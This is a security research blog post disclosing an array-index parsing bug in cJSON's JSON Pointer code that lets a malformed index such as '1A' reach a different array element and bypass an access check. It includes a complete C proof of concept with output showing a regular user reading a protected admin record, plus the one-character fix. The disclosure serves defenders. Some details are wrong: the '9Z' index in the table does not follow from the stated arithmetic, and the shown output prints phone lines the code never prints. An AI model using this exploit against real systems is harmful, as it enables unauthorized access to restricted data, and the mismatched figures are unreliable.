Contents

Executive Summary
Discovery & Initial Analysis
Technical Analysis
Attack Scenarios
Proof of Concept
Impact Assessment
Mitigation and Remediation
References and Further Reading
Conclusion

cJSON Array Index Parsing Vulnerability - Bypassing Access Controls Through Malformed JSON Pointers

Security Research
2025-07-23
Back to blog
Table of Contents
Executive Summary
Discovery & Initial Analysis
Technical Analysis
Attack Scenarios
Proof of Concept
Impact Assessment
Mitigation and Remediation
References and Further Reading
Conclusion

Bypassing Access Controls Through Malformed JSON Pointer Exploitation

While using cJSON for a personal project, I decided to do a quick security audit just for fun during some downtime. What started as casual code browsing led to the discovery of a critical vulnerability in the array index parsing logic that allows attackers to bypass access controls and access restricted data. This vulnerability affects the decode_array_index_from_pointer function in cJSON_Utils.c and can lead to privilege escalation and unauthorized data access.


Executive Summary

CVE ID: (Pending Assignment)
CVSS Score: (Pending)
Affected Component: cJSON library - cJSON_Utils.c
Vulnerability Type: Array Index Parsing / Input Validation Bypass
Impact: Privilege Escalation, Information Disclosure, Access Control Bypass


Discovery & Initial Analysis

The vulnerability was discovered while analyzing cJSON's JSON Pointer implementation, specifically the decode_array_index_from_pointer function located at line 274 in cJSON_Utils.c. This function is responsible for parsing array indices from JSON pointer strings like /0/email or /27/data.

The Vulnerable Code

The bug exists in a simple but critical for-loop condition:

// Vulnerable code (line 285):
for (position = 0; (pointer[position] >= '0') && (pointer[0] <= '9'); position++)
{
    index = (size_t)(index * 10) + (size_t)(pointer[position] - '0');
}

The Problem: The second condition checks pointer[0] instead of pointer[position], causing the loop to continue processing characters even after encountering non-digit characters.

The Fix: Should be pointer[position] <= '9'


Technical Analysis

Root Cause Breakdown

  1. Intended Behavior: Parse only numeric characters for array indices
  2. Actual Behavior: Loop continues processing non-digit characters as if they were digits
  3. Mathematical Impact: Non-digit characters get converted using ASCII arithmetic

Exploitation Mechanics

When processing a malformed input like "1A":

  1. First iteration: position = 0, pointer[0] = '1'

    • Condition: ('1' >= '0') && ('1' <= '9') → true
    • Calculation: index = 0 * 10 + ('1' - '0') = 1
  2. Second iteration: position = 1, pointer[1] = 'A'

    • Condition: ('A' >= '0') && ('1' <= '9') → true (still checking pointer[0]!)
    • Calculation: index = 1 * 10 + ('A' - '0') = 10 + 17 = 27
  3. Result: Input "1A" produces array index 27


Attack Scenarios

Scenario 1: Privilege Escalation in User Management System

Consider a web application managing 30 users (indices 0-29) where user 27 is an administrator:

{
  "users": [
    {"id": 0, "email": "user0@example.com", "role": "user"},
    {"id": 1, "email": "user1@example.com", "role": "user"},
    ...
    {"id": 27, "email": "admin@company.com", "role": "admin"},
    {"id": 28, "email": "user28@example.com", "role": "user"},
    {"id": 29, "email": "user29@example.com", "role": "user"}
  ]
}

Normal Access Control:

int user_id = atoi(user_input);  // "27" → 27
if (can_access_user(current_user, user_id)) {
    // Access denied for regular users accessing admin
}

Bypass Using the Vulnerability:

int user_id = atoi(user_input);  // "1A" → 1 (atoi stops at first non-digit)
if (can_access_user(current_user, user_id)) {  // Check passes for user 1
    // But cJSON parses "1A" as index 27!
    cJSON *result = cJSONUtils_GetPointer(database, "/users/1A/email");
    // Returns: "admin@company.com"
}

Scenario 2: Out-of-Bounds Data Access

More sophisticated attacks can access memory beyond intended array boundaries:

Input Calculation Target Index Risk Level
"1A" 1*10 + 17 27 Privilege escalation
"2B" 2*10 + 18 38 Out-of-bounds read
"9Z" 9*10 + 57 147 Memory corruption potential

Proof of Concept

I've developed a comprehensive proof of concept that demonstrates the vulnerability in a realistic corporate user management scenario:

Complete Test Implementation

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include "cJSON.h"
#include "cJSON_Utils.h"

typedef struct {
    int id;
    char email[100];
    char name[50];
    char phone[20];
    int access_level;  // 0=normal, 1=admin, 2=super_admin
} User;

User company_users[] = {
    {0, "john.doe@company.com", "John Doe", "+1-555-0100", 0},
    {1, "jane.smith@company.com", "Jane Smith", "+1-555-0101", 0},
    {2, "bob.wilson@company.com", "Bob Wilson", "+1-555-0102", 0},
    {3, "alice.brown@company.com", "Alice Brown", "+1-555-0103", 0},
    {4, "charlie.davis@company.com", "Charlie Davis", "+1-555-0104", 0},
    {5, "diana.miller@company.com", "Diana Miller", "+1-555-0105", 0},
    // ... (additional users 6-26)
    {27, "root@internal.company.com", "System Administrator", "+1-555-0000", 2},  // Protected admin account
    {28, "monitoring@company.com", "Monitoring Service", "+1-555-0001", 1},
    {29, "backup@company.com", "Backup Service", "+1-555-0002", 1}
};

#define NUM_USERS (sizeof(company_users) / sizeof(company_users[0]))

// Access control implementation - the "secure" validation
int check_user_permissions(int requesting_user_id, int target_user_id) {
    // Users can view their own profile and other regular users
    if (requesting_user_id == target_user_id) {
        return 1; // Can view own profile
    }
    
    if (target_user_id >= 0 && target_user_id < NUM_USERS) {
        // Admin and service accounts are restricted
        if (company_users[target_user_id].access_level >= 1) {
            return 0;
        }
    }
    
    return 1; // Allow viewing regular users
}

cJSON* create_user_database() {
    cJSON *users = cJSON_CreateArray();
    
    for (int i = 0; i < NUM_USERS; i++) {
        cJSON *user = cJSON_CreateObject();
        cJSON_AddNumberToObject(user, "id", company_users[i].id);
        cJSON_AddStringToObject(user, "email", company_users[i].email);
        cJSON_AddStringToObject(user, "name", company_users[i].name);
        cJSON_AddStringToObject(user, "phone", company_users[i].phone);
        cJSON_AddNumberToObject(user, "access_level", company_users[i].access_level);
        cJSON_AddItemToArray(users, user);
    }
    
    return users;
}

// API endpoint: GET /api/users/{id}/profile
cJSON* get_user_profile(cJSON* user_db, const char* user_id_str, int requesting_user_id) {
    
    // Check if access is allowed using atoi() - THIS IS THE VULNERABILITY
    int target_user_id = atoi(user_id_str);  // "1A" becomes 1
    if (!check_user_permissions(requesting_user_id, target_user_id)) {
        return NULL;
    }
    
    // But cJSON parses "1A" as index 27!
    char json_pointer[256];
    snprintf(json_pointer, sizeof(json_pointer), "/%s", user_id_str);

    return cJSONUtils_GetPointer(user_db, json_pointer);
}

void test_production_api_vulnerability() {
    cJSON *user_db = create_user_database();
    int regular_user_id = 5;
    cJSON *result;
    
    printf("Test 1 - User %d accessing own profile:\n", regular_user_id);
    result = get_user_profile(user_db, "5", regular_user_id);
    if (result) {
        cJSON *name = cJSON_GetObjectItem(result, "name");
        cJSON *email = cJSON_GetObjectItem(result, "email");
        cJSON *access_level = cJSON_GetObjectItem(result, "access_level");
        
        printf("  SUCCESS - Profile accessed:\n");
        printf("    Name: %s\n", name->valuestring);
        printf("    Email: %s\n", email->valuestring);
        printf("    Access Level: %d\n", (int)access_level->valuedouble);
    } else {
        printf("  FAILED - Access denied\n");
    }
    printf("\n");
    
    printf("Test 2 - User %d attempting to access admin user 27:\n", regular_user_id);
    result = get_user_profile(user_db, "27", regular_user_id);
    if (result) {
        printf("  FAILED - Should be blocked but got access\n");
    } else {
        printf("  SUCCESS - Access correctly blocked\n");
    }
    printf("\n");
    
    printf("Test 3 - VULNERABILITY TEST using malformed input '1A':\n");
    result = get_user_profile(user_db, "1A", regular_user_id);
    if (result) {
        cJSON *name = cJSON_GetObjectItem(result, "name");
        cJSON *email = cJSON_GetObjectItem(result, "email");
        cJSON *access_level = cJSON_GetObjectItem(result, "access_level");
        
        printf("  VULNERABILITY CONFIRMED - Unauthorized access:\n");
        printf("    Name: %s\n", name->valuestring);
        printf("    Email: %s\n", email->valuestring);
        printf("    Access Level: %d\n", (int)access_level->valuedouble);
        
        if (access_level->valuedouble >= 1) {
            printf("  CRITICAL: Accessed privileged account!\n");
        }
    } else {
        printf("  BLOCKED - Vulnerability not exploitable\n");
    }
    
    cJSON_Delete(user_db);
}

int main() {
    printf("cJSON Utils JSON Pointer Vulnerability Test\n");
    printf("===========================================\n\n");
    
    test_production_api_vulnerability();
    
    return 0;
}

Output

cJSON Utils JSON Pointer Vulnerability Test
===========================================

Test 1 - User 5 accessing own profile:
  SUCCESS - Profile accessed:
    Name: Diana Miller
    Email: diana.miller@company.com
    Phone: +1-555-0105
    Access Level: 0

Test 2 - User 5 attempting to access admin user 27:
  SUCCESS - Access correctly blocked

Test 3 - VULNERABILITY TEST using malformed input '1A':
  VULNERABILITY CONFIRMED - Unauthorized access:
    Name: System Administrator
    Email: root@internal.company.com
    Phone: +1-555-0000
    Access Level: 2
  CRITICAL: Accessed privileged account!

Compilation Instructions

gcc -o test_vulnerability test_vulnerability.c cJSON.c cJSON_Utils.c -lm
./test_vulnerability

Impact Assessment

Security Implications

  1. Access Control Bypass: Circumvent intended user permission systems
  2. Privilege Escalation: Access administrative accounts and sensitive data
  3. Information Disclosure: Read confidential information from restricted indices
  4. Memory Safety: Potential out-of-bounds access in write operations

Attack Surface

  • Web Applications: Using cJSON for API parameter parsing
  • IoT Devices: Embedded systems with cJSON-based configuration
  • Desktop Applications: Software using cJSON for data management
  • Server Applications: Backend services processing JSON data

Real-World Risk Factors

The vulnerability is particularly dangerous because:

  1. Silent Failure: No error indication when malformed indices are processed
  2. Common Pattern: Many applications use similar access control patterns
  3. Library Ubiquity: cJSON is widely deployed across numerous applications

Mitigation and Remediation

Immediate Fix

The vulnerability can be resolved with a single character change:

// Before (vulnerable):
for (position = 0; (pointer[position] >= '0') && (pointer[0] <= '9'); position++)

// After (fixed):
for (position = 0; (pointer[position] >= '0') && (pointer[position] <= '9'); position++)

References and Further Reading

  • cJSON GitHub Repository
  • Vulnerable Code Location
  • JSON Pointer RFC 6901
  • CWE-129: Improper Validation of Array Index
  • CWE-20: Improper Input Validation

Conclusion

This vulnerability demonstrates how a single character typo in critical parsing logic can lead to significant security implications. The mismatch between different parsing functions (atoi() vs cJSON's custom parser) creates opportunities for access control bypasses that may not be immediately obvious during code review.

The widespread use of cJSON in embedded systems, web applications, and server software makes this vulnerability particularly concerning. Organizations using cJSON should prioritize updating to the patched version once available and review their access control implementations for similar validation mismatches.


Was this helpful?

Back to Blog